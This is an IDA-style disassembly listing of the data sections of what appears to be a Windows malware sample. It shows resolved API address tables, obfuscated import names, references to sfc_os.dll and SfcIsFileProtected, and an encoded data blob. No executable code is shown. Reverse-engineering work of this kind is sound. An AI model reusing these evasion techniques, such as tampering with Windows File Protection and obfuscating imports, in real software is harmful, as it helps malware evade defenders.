dword_44760C	dd 100E0h		; DATA XREF: sub_442C0A+1D8w
dword_447610	dd 0EA00h		; DATA XREF: sub_442A46:loc_442BE4r
					; sub_442C0A+1FEw
dword_447614	dd 77D46F5Bh		; DATA XREF: sub_43EA51+82w
					; sub_440306+13r
dword_447618	dd 77E79A45h		; DATA XREF: sub_43AA99+21Er
					; sub_43AA99+225r ...
dword_44761C	dd 0			; DATA XREF: sub_43B52C+15Fw
					; sub_43B52C+1D4w ...
dword_447620	dd 771C1E56h		; DATA XREF: sub_43FEB1+58r
					; sub_442386+66w
		align 10h
dword_447630	dd 0			; DATA XREF: sub_43E8A2+DFw
					; sub_43E8A2+12Dw ...
		dd 0FEh	dup(0)
dword_447A2C	dd 73D9C489h		; DATA XREF: sub_442662+BAw
dword_447A30	dd 0			; DATA XREF: sub_43B52C+BAw
dword_447A34	dd 77E79881h		; DATA XREF: sub_43AA99+D1r
					; sub_43AA99+E0r ...
dword_447A38	dd 73D9C4C5h		; DATA XREF: sub_442662+9Ew
dword_447A3C	dd 77E777EFh		; DATA XREF: sub_43A324+8r
					; sub_43AA82+8r ...
dword_447A40	dd 77D48137h		; DATA XREF: sub_43A34D+70r
					; sub_43A34D+A5r ...
dword_447A44	dd 77414CDCh		; DATA XREF: sub_43AD5A+4Bw
					; sub_43BE25+21r ...
		align 10h
word_447A50	dw 0			; DATA XREF: sub_43B780+51Dw
					; sub_43B780+54Cr ...
		align 4
		dd 1F3h	dup(0)
dword_448220	dd 77D47EE5h		; DATA XREF: sub_43EA51+19Aw
					; sub_442C0A+108r
dword_448224	dd 77D49A11h		; DATA XREF: sub_43A34D+535r
					; sub_43EA51+9Ew
dword_448228	dd 0			; DATA XREF: sub_43B52C+AFw
					; sub_43D8A3:loc_43D91Dr
		align 10h
dword_448230	dd 5 dup(0)		; DATA XREF: sub_43B52C+9Fo
					; sub_43B780+18Bo ...
dword_448244	dd 77E805D8h		; DATA XREF: sub_43AA12+28r
					; sub_43AD5A+28r ...
dword_448248	dd 77E7980Ah		; DATA XREF: sub_440457+1F4w
					; sub_441077+Fr
dword_44824C	dd 73DA018Fh		; DATA XREF: sub_442662+19Aw
dword_448250	dd 77C7F85Ah		; DATA XREF: sub_43AA12+4Aw
					; sub_44108E+77Br ...
dword_448254	dd 77132EF6h		; DATA XREF: sub_43AED7+BDw
					; sub_43F0EA+42r ...
dword_448258	dd 77E75D9Eh		; DATA XREF: sub_43DAAC+43r
					; sub_440457+2B8w ...
dword_44825C	dd 77E61608h		; DATA XREF: sub_43ED61+32r
					; sub_440457+264w
dword_448260	dd 41h dup(0)		; DATA XREF: sub_43AA99:loc_43AAD1o
					; sub_43B260+13o ...
dword_448364	dd 77E6BD13h		; DATA XREF: sub_43C38A+1384r
					; sub_440457+37Cw
dword_448368	dd 77D44200h		; DATA XREF: sub_43EA51+10Ew
					; sub_442C0A+27Br
		align 10h
dword_448370	dd 0			; DATA XREF: sub_43A34D+574w
					; sub_43FEB1+23w ...
dword_448374	dd 0			; DATA XREF: sub_43A34D+55Ar
					; sub_44108E+475w ...
dword_448378	dd 0			; DATA XREF: sub_43A34D+127r
					; sub_43A34D+52Er ...
dword_44837C	dd 0			; DATA XREF: sub_43A34D+631r
					; sub_44108E+833w ...
dword_448380	dd 0			; DATA XREF: sub_43A34D+53r
					; sub_43A34D+192r ...
dword_448384	dd 0			; DATA XREF: sub_43A34D+69r
					; sub_43A34D+88r ...
dword_448388	dd 0			; DATA XREF: sub_43A34D+9Er
					; sub_43A34D+2FAr ...
dword_44838C	dd 0			; DATA XREF: sub_43A34D+E1r
					; sub_44108E+DB4w ...
dword_448390	dd 0			; DATA XREF: sub_43A34D+5ADr
					; sub_44108E+E07w
dword_448394	dd 0			; DATA XREF: sub_43A34D+5E4r
					; sub_44108E+E57w
dword_448398	dd 0			; DATA XREF: sub_43A34D+618r
					; sub_44108E+EA7w
dword_44839C	dd 0			; DATA XREF: sub_43A34D+64Cr
					; sub_44108E+EF7w
		dd 4A4h	dup(0)
dword_449630	dd 77E79E34h		; DATA XREF: sub_440457+210w
					; sub_443565+1Cr
dword_449634	dd 73D9D340h		; DATA XREF: sub_43B3A7+B1r
					; sub_43C281+60r ...
dword_449638	dd 77E7A099h		; DATA XREF: sub_440457+3D0w
dword_44963C	dd 0			; DATA XREF: sub_43B52C+C5w
					; sub_443589+15Fr
dword_449640	dd 73D9D5E0h		; DATA XREF: sub_43B3A7+A3r
					; sub_43C38A+7D6r ...
dword_449644	dd 77E8074Ah		; DATA XREF: sub_440457+3B4w
					; sub_4437B1+74r
dword_449648	dd 77D414D4h		; DATA XREF: sub_43EA51+66w
					; sub_44108E+50Ar ...
dword_44964C	dd 77F7E300h		; DATA XREF: sub_43EFD7+105r
					; sub_440C06+38Ew ...
dword_449650	dd 77E77963h		; DATA XREF: sub_43AA99+217r
					; sub_43ACC9+84r ...
		align 10h
dword_449660	dd 0			; DATA XREF: sub_43B780+434r
					; sub_43B780+5CCw ...
		dd 3E7h	dup(0)
dword_44A600	dd 73D9DBA2h		; DATA XREF: sub_442662+146w
dword_44A604	dd 77D444F0h		; DATA XREF: sub_43EA51+25Ew
dword_44A608	dd 0			; DATA XREF: sub_440457+1A0w
dword_44A60C	dd 77D5BA26h		; DATA XREF: sub_43A34D+5B4r
					; sub_43A34D+5EBr ...
off_44A610	dd offset byte_41A00D	; DATA XREF: sub_442A46+1A4r
					; sub_442C0A+1F3w
dword_44A614	dd 77E681EFh		; DATA XREF: sub_43AFB5+D4r
					; sub_43BFE5+6Br ...
dword_44A618	dd 77DD189Ah		; DATA XREF: sub_44015B+85w
					; sub_440FBB+49r
dword_44A61C	dd 77E7C2C4h		; DATA XREF: sub_440457+398w
					; sub_442C0A+D8r
dword_44A620	dd 77D4A102h		; DATA XREF: sub_43EA51+1B6w
					; sub_442C0A+118r
dword_44A624	dd 77E793EFh		; DATA XREF: sub_43ACC9+4Br
					; sub_43C38A+63r ...
dword_44A628	dd 77D43FEDh		; DATA XREF: sub_43EA51+146w
					; sub_44108E+DFBr ...
dword_44A62C	dd 0			; DATA XREF: sub_43B52C+71w
					; sub_43F0EA+D73r
dword_44A630	dd 73D92B86h		; DATA XREF: sub_43A34D+46Cr
					; sub_43B4C6+55r ...
dword_44A634	dd 73D9E5C5h		; DATA XREF: sub_43AFB5+5Br
					; sub_43AFB5+88r ...
dword_44A638	dd 77D651AFh		; DATA XREF: sub_43EA51+2EAw
					; sub_43EEA0+23r ...
dword_44A63C	dd 77E77CCEh		; DATA XREF: sub_43D8A3+199r
					; sub_440457+184w
dword_44A640	dd 77D6ADD7h		; DATA XREF: sub_43A34D+1DBr
					; sub_43A34D+28Dr ...
dword_44A644	dd 7720C039h		; DATA XREF: sub_43C0C2+12r
					; sub_43C0C2+32r ...
dword_44A648	dd 73D9D320h		; DATA XREF: sub_43C281+E7r
					; sub_442662+D6w
dword_44A64C	dd 77E6C9E0h		; DATA XREF: sub_43E8A2+7Er
					; sub_440457+328w
dword_44A650	dd 77D45F74h		; DATA XREF: sub_43EA51+162w
					; sub_44108E+4A5r
dword_44A654	dd 77D5BB6Ch		; DATA XREF: sub_43A34D+4D0r
					; sub_43EA51+296w
dword_44A658	dd 77D47D27h		; DATA XREF: sub_43A34D+561r
					; sub_43EA51+2B2w ...
dword_44A65C	dd 77F7E21Fh		; DATA XREF: sub_43EFD7+78r
					; sub_440C06+35Ew ...
dword_44A660	dd 77E73C49h		; DATA XREF: sub_440457+18w
					; sub_442652+9r ...
dword_44A664	dd 77E6C0E3h		; DATA XREF: sub_43E8A2+A6r
					; sub_440457+30Cw ...
		align 10h
dword_44A670	dd 40h dup(0)		; DATA XREF: sub_43B52C+D5o
					; sub_43B52C+229o ...
dword_44A770	dd 77E7751Ah		; DATA XREF: sub_43B780:loc_43BB83r
					; sub_43B780:loc_43BD40r ...
dword_44A774	dd 0			; DATA XREF: sub_43B52C+87w
					; sub_44108E+37Dr
dword_44A778	dd 77E79424h		; DATA XREF: sub_43DAAC+103r
					; sub_440457+478w
dword_44A77C	dd 77D43DD3h		; DATA XREF: sub_43EA51+2CEw
					; sub_442C0A+24Fr
dword_44A780	dd 77E71702h		; DATA XREF: sub_43DAAC+BFr
					; sub_440457+45Cw
dword_44A784	dd 0			; DATA XREF: sub_43AA82+3o
					; sub_43AA82+Er ...
dword_44A788	dd 77E7A837h		; DATA XREF: sub_43AA99+7Cr
					; sub_43ACC9+1Dr ...
		align 10h
dword_44A790	dd 0			; DATA XREF: sub_43E8A2:loc_43E8B2w
					; sub_43E8A2+58r ...
		dd 0FEh	dup(0)
dword_44AB8C	dd 77E79D8Ch		; DATA XREF: sub_43AA99+C4r
					; sub_43AA99+1E3r ...
dword_44AB90	dd 77E7AC37h		; DATA XREF: sub_43B52C+108r
					; sub_43B52C+143r ...
		align 8
dword_44AB98	dd 77E7C657h		; DATA XREF: sub_43AFB5+22r
					; sub_440457+494w
dword_44AB9C	dd 77E78C81h		; DATA XREF: sub_43AA99+95r
					; sub_43ADAC+CBr ...
dword_44ABA0	dd 771214E8h		; DATA XREF: sub_43AED7+66w
					; sub_43D8A3+1E4r ...
dword_44ABA4	dd 77D5C13Ah		; DATA XREF: sub_43A34D+12Er
					; sub_43A34D+199r ...
dword_44ABA8	dd 0			; DATA XREF: sub_43A324+3o
					; sub_43A324+Er ...
dword_44ABAC	dd 73D9DBAFh		; DATA XREF: sub_43C38A+82Er
					; sub_43C38A+87Er ...
dword_44ABB0	dd 7712151Dh		; DATA XREF: sub_43AED7+82w
					; sub_43B780+647r
dword_44ABB4	dd 771C69DCh		; DATA XREF: sub_442386+4Aw
		align 10h
dword_44ABC0	dd 77FC5460h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_43EFD7+13o
					; sub_43EFD7+73o ...
_bss		ends

; Section 6. (virtual address 0004B000)
; Virtual size			: 00001C00 (   7168.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 0004B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 44B000h
off_44B000	dd offset sub_444B04	; DATA XREF: .text:0043A1B5r
dword_44B004	dd 0			; DATA XREF: sub_43A1C3+4Aw
					; sub_43A1C3+64r
dword_44B008	dd 0			; DATA XREF: sub_43A1C3+38w
dword_44B00C	dd 0			; DATA XREF: sub_43A1C3+5Fw
					; sub_43A1C3:loc_43A23Cr
dword_44B010	dd 0			; DATA XREF: sub_43A25C+57w
		align 8
		dd 7325h
aWr:					; DATA XREF: sub_43A1C3+3Do
					; sub_43A1C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_44B034	dd 0			; DATA XREF: .text:0043A0F2w
dword_44B038	dd 0			; DATA XREF: .text:0043A0FCw
					; .text:0043A117r ...
dword_44B03C	dd 0			; DATA XREF: .text:0043A104w
dword_44B040	dd 14h dup(0)		; DATA XREF: .text:0043A111o
					; .text:0043A11Fo
word_44B090	dw 1			; DATA XREF: sub_43AA99+Cr
					; sub_43B780+74r ...
		align 4
dword_44B094	dd 6			; DATA XREF: sub_43B780+1A6r
					; sub_43DAAC+84r ...
dword_44B098	dd 7			; DATA XREF: sub_43B4C6+43r
					; sub_43B780+44Dr ...
dword_44B09C	dd 8			; DATA XREF: sub_43A34D+14Cr
					; sub_43A34D+31Cr ...
dword_44B0A0	dd 4			; DATA XREF: sub_43B780+104r
					; sub_43BFE5+CFr ...
dword_44B0A4	dd 2			; DATA XREF: sub_43A34D+1BCr
					; sub_43B52C+187r ...
dword_44B0A8	dd 3			; DATA XREF: sub_43B780+2CCr
					; sub_43C281+91r ...
dword_44B0AC	dd 3			; DATA XREF: sub_43A34D+255r
					; sub_43B52C+E7r ...
word_44B0B0	dw 8			; DATA XREF: sub_43ADAC+B4r
					; sub_43ADAC+DAr ...
		align 4
dword_44B0B4	dd 8			; DATA XREF: sub_43AA99+EFr
					; sub_43B52C+1CCr ...
dword_44B0B8	dd 4			; DATA XREF: sub_43B52C+1A3r
					; sub_43BFE5:loc_43C0AFr ...
word_44B0BC	dw 9			; DATA XREF: sub_43B52C+164r
					; sub_43C281+A9r ...
		align 10h
dword_44B0C0	dd 1			; DATA XREF: sub_43AA99+184r
					; sub_43B182+7Cr ...
dword_44B0C4	dd 4			; DATA XREF: sub_43A34D+359r
					; sub_43ADAC+103r ...
word_44B0C8	dw 7			; DATA XREF: sub_43A34D+426r
					; sub_43A34D:loc_43A7ACr ...
		align 4
dword_44B0CC	dd 1			; DATA XREF: sub_43A34D:loc_43A418r
					; sub_43AA99+126r ...
word_44B0D0	dw 0			; DATA XREF: sub_43B3A7+4Er
					; sub_43B780+19Fr ...
		align 4
dword_44B0D4	dd 1			; DATA XREF: sub_43A34D+3B3r
					; sub_43B3A7+E7r ...
word_44B0D8	dw 5			; DATA XREF: sub_43A34D+B9r
					; sub_43A34D+3ACr ...
		align 4
word_44B0DC	dw 6			; DATA XREF: sub_43B780+9Ar
					; sub_43B780+FDr ...
		align 10h
word_44B0E0	dw 0			; DATA XREF: sub_43AA99+61r
					; sub_43AA99+E8r ...
		align 4
dword_44B0E4	dd 2			; DATA XREF: sub_43A34D+268r
					; sub_43ADAC+79r ...
word_44B0E8	dw 5			; DATA XREF: sub_43B52C+134r
					; sub_43E40A+ADr ...
		align 4
dword_44B0EC	dd 5			; DATA XREF: sub_43A34D+152r
					; sub_43B3A7+75r ...
dword_44B0F0	dd 4			; DATA XREF: sub_43A34D+35Er
					; sub_43B52C+4Er ...
word_44B0F4	dw 9			; DATA XREF: sub_43B780+24Fr
					; sub_43C38A+1068r ...
		align 4
dword_44B0F8	dd 2			; DATA XREF: sub_43ACC9+33r
					; sub_43B333+4Ar ...
dword_44B0FC	dd 7			; DATA XREF: sub_43AA99+1D2r
					; sub_43B780:loc_43BD15r ...
word_44B100	dw 9			; DATA XREF: sub_43A34D:loc_43A43Br
					; sub_43A34D+345r ...
		align 4
dword_44B104	dd 3			; DATA XREF: sub_43B3A7+E2r
					; sub_43B3A7+10Br ...
dword_44B108	dd 0			; DATA XREF: sub_43C38A+183r
					; sub_43C38A+601r ...
dword_44B10C	dd 7			; DATA XREF: sub_43B52C+236r
					; sub_43BE80+95r ...
word_44B110	dw 4			; DATA XREF: sub_43C38A+EEDr
					; sub_43C38A+F01r ...
		align 4
word_44B114	dw 2			; DATA XREF: sub_43C38A+8B9r
					; sub_43C38A+10BAr ...
		align 4
dword_44B118	dd 1			; DATA XREF: sub_43B3A7+55r
					; sub_43B780+326r ...
dword_44B11C	dd 3			; DATA XREF: sub_43C38A+981r
					; sub_43C38A+A44r ...
dword_44B120	dd 2			; DATA XREF: sub_43A9C0+3Fr
					; sub_43C38A+EDFr ...
dword_44B124	dd 1			; DATA XREF: sub_43A34D:loc_43A8C9r
					; sub_43AA99+68r ...
word_44B128	dw 0			; DATA XREF: sub_43B52C+16Br
					; sub_43C38A+46Br ...
		align 4
dword_44B12C	dd 5			; DATA XREF: sub_43A34D+3Br
					; sub_43AA99+163r ...
dword_44B130	dd 0			; DATA XREF: sub_43ADAC+113r
					; sub_43B3A7+92r ...
dword_44B134	dd 3			; DATA XREF: sub_43B3A7:loc_43B4A4r
					; sub_43C38A+337r ...
dword_44B138	dd 8			; DATA XREF: sub_43A9C0+3Ar
					; sub_43C38A+CDFr ...
dword_44B13C	dd 2			; DATA XREF: sub_43A34D:loc_43A9A9r
					; sub_43BE80+25r ...
dword_44B140	dd 8			; DATA XREF: sub_43B3A7+65r
					; sub_43C281+F0r ...
dword_44B144	dd 5			; DATA XREF: sub_43B3A7+102r
					; sub_43BF3D+29r ...
word_44B148	dw 3			; DATA XREF: sub_43B52C+26r
					; sub_43B780+509r ...
		align 4
dword_44B14C	dd 6			; DATA XREF: sub_43B3A7+C4r
					; sub_43B780+320r ...
word_44B150	dw 5			; DATA XREF: sub_43C38A+A5Dr
					; sub_43C38A+100Er ...
		align 4
word_44B154	dw 8			; DATA XREF: sub_43A9C0+19r
					; sub_43AA99+16Dr ...
		align 4
dword_44B158	dd 0			; DATA XREF: sub_43B260+8Er
					; sub_43B780+26Dr ...
dword_44B15C	dd 4			; DATA XREF: sub_43C38A+8EAr
					; sub_43DEF2+54r ...
dword_44B160	dd 8			; DATA XREF: sub_43ADAC+87r
					; sub_43ADAC+A9r ...
dword_44B164	dd 0			; DATA XREF: sub_43B52C+1E0r
					; sub_43C38A+28r ...
word_44B168	dw 8			; DATA XREF: sub_43AA99+1FBr
					; sub_43B333+41r ...
		align 4
word_44B16C	dw 4			; DATA XREF: sub_43A34D+1B5r
					; sub_43AA99+ACr ...
		align 10h
word_44B170	dw 8			; DATA XREF: sub_43B4C6+48r
					; sub_43B52C:loc_43B705r ...
		align 4
dword_44B174	dd 9			; DATA XREF: sub_43A34D+492r
					; sub_43AA99+1BBr ...
dword_44B178	dd 3			; DATA XREF: sub_43B260+B0r
					; sub_43BFE5+26r ...
dword_44B17C	dd 6			; DATA XREF: sub_43A34D+1C9r
					; sub_43B3A7:loc_43B417r ...
word_44B180	dw 6			; DATA XREF: sub_43C281+99r
					; sub_43C38A+E7r ...
		align 4
dword_44B184	dd 6			; DATA XREF: sub_43AA99+12Dr
					; sub_43B3A7+C9r ...
dword_44B188	dd 0			; DATA XREF: sub_43A34D+30Er
					; sub_43B3A7+44r ...
dword_44B18C	dd 1			; DATA XREF: sub_43A34D+275r
					; sub_43A34D+48Cr ...
dword_44B190	dd 3			; DATA XREF: sub_43AFB5+19Ar
					; sub_43C154+89r ...
word_44B194	dw 0			; DATA XREF: sub_43A34D:loc_43A449r
					; sub_43A34D+307r ...
		align 4
dword_44B198	dd 8			; DATA XREF: sub_43A34D+19Fr
					; sub_43B52C+11Cr ...
word_44B19C	dw 6			; DATA XREF: sub_43B780+525r
					; sub_43C38A+123Er ...
		align 10h
dword_44B1A0	dd 6			; DATA XREF: sub_43AFB5+A6r
					; sub_43BE80:loc_43BED3r ...
dword_44B1A4	dd 0			; DATA XREF: sub_43B52C+1ACr
					; sub_43BE80+48r ...
word_44B1A8	dw 0			; DATA XREF: sub_43A34D+1A4r
					; sub_43C38A:loc_43CE1Br ...
		align 4
dword_44B1AC	dd 4			; DATA XREF: sub_43A34D:loc_43A3FEr
					; sub_43AA99+13r ...
dword_44B1B0	dd 0			; DATA XREF: sub_43A34D+141r
					; sub_43B780:loc_43BB71r ...
dword_44B1B4	dd 1			; DATA XREF: sub_43B333+2Fr
					; sub_43C38A+1DCr ...
dword_44B1B8	dd 3			; DATA XREF: sub_43A34D+134r
					; sub_43A34D+33Fr ...
word_44B1BC	dw 6			; DATA XREF: sub_43AA99+B3r
					; sub_43B52C+1FEr ...
		align 10h
dword_44B1C0	dd 3			; DATA XREF: sub_43A34D+146r
					; sub_43A9C0+29r ...
dword_44B1C4	dd 5			; DATA XREF: sub_43ADAC+11Br
					; sub_43C38A+1B4r ...
dword_44B1C8	dd 2			; DATA XREF: sub_43A34D+27Ar
					; sub_43AA99+4Br ...
dword_44B1CC	dd 4			; DATA XREF: sub_43A34D+25Ar
					; sub_43B52C+205r ...
dword_44B1D0	dd 1			; DATA XREF: sub_43EFD7+Ar
					; sub_43EFD7+1Ew ...
dword_44B1D4	dd 77E60000h		; DATA XREF: sub_440457+Cr
					; sub_440457+28r ...
dword_44B1D8	dd 73D90000h		; DATA XREF: sub_442662+13w
					; sub_442662+2Ew ...
dword_44B1DC	dd 77D40000h		; DATA XREF: sub_43EA51+13w
					; sub_43EA51+2Ew ...
dword_44B1E0	dd 77C70000h		; DATA XREF: sub_43AA12+13w
					; sub_43AA12+2Ew ...
dword_44B1E4	dd 771B0000h		; DATA XREF: sub_442386+13w
					; sub_442386+2Ew ...
dword_44B1E8	dd 77120000h		; DATA XREF: sub_43AED7+13w
					; sub_43AED7+2Ew ...
dword_44B1EC	dd 76BB0000h		; DATA XREF: sub_4425F7+13w
					; sub_4425F7+2Ew ...
dword_44B1F0	dd 76C60000h		; DATA XREF: sub_442822+13w
					; sub_442822+2Ew ...
dword_44B1F4	dd 773D0000h		; DATA XREF: sub_43AD5A+13w
					; sub_43AD5A+2Ew ...
dword_44B1F8	dd 77DD0000h		; DATA XREF: sub_44015B+13w
					; sub_44015B+2Ew ...
off_44B1FC	dd offset aAbcdefghijklmn ; DATA XREF: sub_43BE80:loc_43BEF9r
					; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
dword_44B200	dd 0E860h, 0E9610000h, 2 dup(0)	; DATA XREF: sub_43C38A+945o
dword_44B210	dd 11h,	0Fh dup(0)	; DATA XREF: sub_43AF9B+8o
dword_44B250	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_43AF9B+3o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh
dword_44B290	dd 0			; DATA XREF: sub_441FCC:loc_4420B4r
					; sub_441FCC+342w ...
off_44B294	dd offset sub_4400E0	; DATA XREF: sub_43B780+5D3o
		dd offset sub_43AA82
		dd offset sub_43DDA6
		dd offset sub_441018
		dd offset sub_43DAA4
		dd offset sub_4402FE
		dd offset sub_43E40A
dword_44B2B0	dd 0			; DATA XREF: sub_43B52C+DBw
					; sub_43D8A3+103r ...
off_44B2B4	dd offset sub_43C0C2	; DATA XREF: .data:off_44B2D0o
		dd offset sub_43A324
		dd offset sub_44020A
		dd offset sub_4424B9
		dd offset sub_43B17A
		dd offset sub_43EA49
		dd offset sub_4425A3
off_44B2D0	dd offset off_44B2B4	; DATA XREF: sub_43FEB1+137o
					; sub_440324+B0o
dword_44B2D4	dd 0			; DATA XREF: sub_43FEB1+45o
					; sub_43FEB1+7Fr ...
off_44B2D8	dd offset sub_44386C	; DATA XREF: .data:off_44B2F4o
		dd offset sub_43C13D
		dd offset sub_43D874
		dd offset sub_44355D
		dd offset sub_43B778
		dd offset sub_43EE98
		dd offset sub_440324
off_44B2F4	dd offset off_44B2D8	; DATA XREF: sub_43FEB1:loc_440073o
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_440C06+2ECo
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_440C06+2FFo
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_440C06+312o
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_440C06+326o
		align 4
dword_44B34C	dd 0FFFFFFFFh		; DATA XREF: sub_44335A+34r
		dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_44B74C	dd offset loc_4433C8	; DATA XREF: sub_44335A+67r
		dd offset loc_4433D0
		dd offset loc_443413
		dd offset loc_443451
dword_44B75C	dd 0DAF40004h, 87989Ah	; DATA XREF: sub_443C06+55o
dword_44B764	dd 2B770001h		; DATA XREF: sub_443C06+29o
		db 0
aSS_0		db '%s%s\',0            ; DATA XREF: sub_4438E7+28Bo
					; sub_4438E7+2EFo
byte_44B76F	db 0			; DATA XREF: sub_4438E7+A8o
		dd 73254100h
		db 2Ah,	0
word_44B776	dw 4			; DATA XREF: sub_4438E7+63o
		dd 0FFA6E0C5h
		db 99h,	0
word_44B77E	dw 0			; DATA XREF: sub_4437B1+31o
a5kkqVx		db '5kkq-vx',0
dword_44B788	dd 25C10000h, 746D5F73h, 752578h ; DATA	XREF: sub_4437B1:loc_4437D2o
dword_44B794	dd 4, 6D002Fh, 6B0060h,	76h ; DATA XREF: sub_443589+27o
dword_44B7A4	dd 79570004h, 233633h	; DATA XREF: sub_442E96+40Do
dword_44B7AC	dd 6BA70000h, 762D716Bh	; DATA XREF: sub_442C0A+16Ao
		db 78h,	0
word_44B7B6	dw 0			; DATA XREF: sub_442C0A+15Ao
aKkqVx_1	db 'kkq-vx',0
dword_44B7C0	dd 6BFD0000h, 762D716Bh	; DATA XREF: sub_442C0A+E8o
		db 78h,	0
word_44B7CA	dw 0			; DATA XREF: sub_442C0A+9Bo
aUkkqVx		db 'kkq-vx',0
dword_44B7D4	dd 256C0000h, 746D5F73h, 752578h ; DATA	XREF: sub_442C0A:loc_442C95o
dword_44B7E0	dd 1F6C000Ah, 3330F0Ah,	8421Fh ; DATA XREF: sub_442822+1Co
		db 2 dup(0)
word_44B7EE	dw 0			; DATA XREF: sub_442822+1o
aSfc_os_dll	db 1Bh,'sfc_os.dll',0
dword_44B7FC	dd 737F0000h, 70637274h	; DATA XREF: sub_442662+19Fo
		db 79h,	0
word_44B806	dw 0			; DATA XREF: sub_442662+183o
aOvsprintf	db 'vsprintf',0
word_44B812	dw 0			; DATA XREF: sub_442662+167o
		dd 727073F9h, 66746E69h
		db 0
byte_44B81D	db 2 dup(0), 0D1h	; DATA XREF: sub_442662+14Bo
aStrcat		db 'strcat',0
byte_44B827	db 0			; DATA XREF: sub_442662+12Fo
		dd 72737A00h, 646E61h
dword_44B830	dd 72EA0000h, 646E61h	; DATA XREF: sub_442662+113o
dword_44B838	dd 6DDE0000h, 65736D65h	; DATA XREF: sub_442662+F7o
		db 74h,	0
word_44B842	dw 0			; DATA XREF: sub_442662+DBo
aMemcpy		db 'memcpy',0
dword_44B84C	dd 6D970000h, 6D636D65h	; DATA XREF: sub_442662+BFo
		db 70h,	0
word_44B856	dw 0			; DATA XREF: sub_442662+A3o
aMalloc		db 'malloc',0
dword_44B860	dd 66E20000h, 656572h	; DATA XREF: sub_442662+87o
dword_44B868	dd 61100000h, 696F74h	; DATA XREF: sub_442662+6Bo
dword_44B870	dd 744C0000h, 7070756Fh	; DATA XREF: sub_442662+4Fo
		db 65h,	72h, 0
byte_44B87B	db 0			; DATA XREF: sub_442662:loc_442695o
		dd 735F6E00h, 7065656Ch
		db 0
byte_44B885	db 2 dup(0), 0A3h	; DATA XREF: sub_442662+1Co
aCrtdll_dll	db 'crtdll.dll',0
byte_44B893	db 0			; DATA XREF: sub_442662+1o
		dd 72632200h, 6C6C6474h, 6C6C642Eh
		db 0
byte_44B8A1	db 2 dup(0), 81h	; DATA XREF: sub_4425F7+3Co
aSfcisfileprote	db 'SfcIsFileProtected',0
byte_44B8B7	db 0			; DATA XREF: sub_4425F7+1Co
		dd 6673AD00h, 6C642E63h
		db 6Ch,	0
word_44B8C2	dw 0			; DATA XREF: sub_4425F7+1o
aSfc_dll	db '^sfc.dll',0
byte_44B8CD	db 2 dup(0), 0D0h	; DATA XREF: sub_442386+A3o
aIsequalguid	db 'IsEqualGUID',0
dword_44B8DC	dd 43400000h, 696E556Fh, 6974696Eh, 7A696C61h ;	DATA XREF: sub_442386+87o
		db 65h,	0
word_44B8EE	dw 0			; DATA XREF: sub_442386+6Bo
aCoinitialize	db '>CoInitialize',0
word_44B8FE	dw 0			; DATA XREF: sub_442386+4Fo
aCocreateinstan	db ']CoCreateInstance',0
word_44B912	dw 0			; DATA XREF: sub_442386:loc_4423B9o
aDclsidfromstri	db 'dCLSIDFromString',0
byte_44B925	db 2 dup(0), 16h	; DATA XREF: sub_442386+1Co
aOle32_dll	db 'ole32.dll',0
word_44B932	dw 0			; DATA XREF: sub_442386+1o
aOle32_dll_0	db 'ole32.dll',0
byte_44B93F	db 11h			; DATA XREF: sub_442318+24o
		dd 0ECCB8200h, 0ECF0E7F6h, 0C7A2F6E7h, 0EDEEF2FAh, 0F0E7F0h
dword_44B954	dd 0E2D0001h		; DATA XREF: sub_441FCC+325o
		db 0
byte_44B959	db 1, 0, 0Bh		; DATA XREF: sub_441FCC+2D3o
		db 28h,	0
word_44B95E	dw 1			; DATA XREF: sub_441FCC+24Do
		db 3, 20h, 0
byte_44B963	db 7			; DATA XREF: sub_441FCC+229o
		dd 3C204800h, 6772383Ch
		db 67h,	0
word_44B96E	dw 1			; DATA XREF: sub_441FCC+1E1o
		db 0E3h, 0C0h, 0
byte_44B973	db 7			; DATA XREF: sub_441FCC:loc_4420FEo
		dd 435F3700h, 180D4743h
		db 18h,	0
word_44B97E	dw 42Bh			; DATA XREF: sub_441FCC+10o
		dd 969B90F3h, 9D969B90h, 80968183h, 9D9ADD80h, 94D09C95h
		dd 83979F9Ch, 0DD9F9F9Ch, 0D09E9C90h, 94879D9Ah, 0DD979F9Ch
		dd 0D09E9C90h, 0DD848484h, 0DD819190h, 84D08681h, 80DD8484h
		dd 8098909Ch, 0D09092DDh, 819C8780h, 8A92839Eh,	9E9C90DDh
		dd 868190D0h, 0DD839C87h, 9DD0869Dh, 96DD8496h,	90DD9494h
		dd 84D09E9Ch, 83DD8484h, 9A899D9Ch, 9E929080h, 9C90DD80h
		dd 9684D09Eh, 9E9C909Fh, 80DDC096h, 969F9A9Eh, 0DD9C90DDh
		dd 9CD09886h, 0DDC1919Fh, 9A87929Dh, 87969D9Ch,	9E9C90DDh
		dd 848484D0h, 9A9191DDh, 8681DD9Dh, 80929ED0h, 0DE819687h
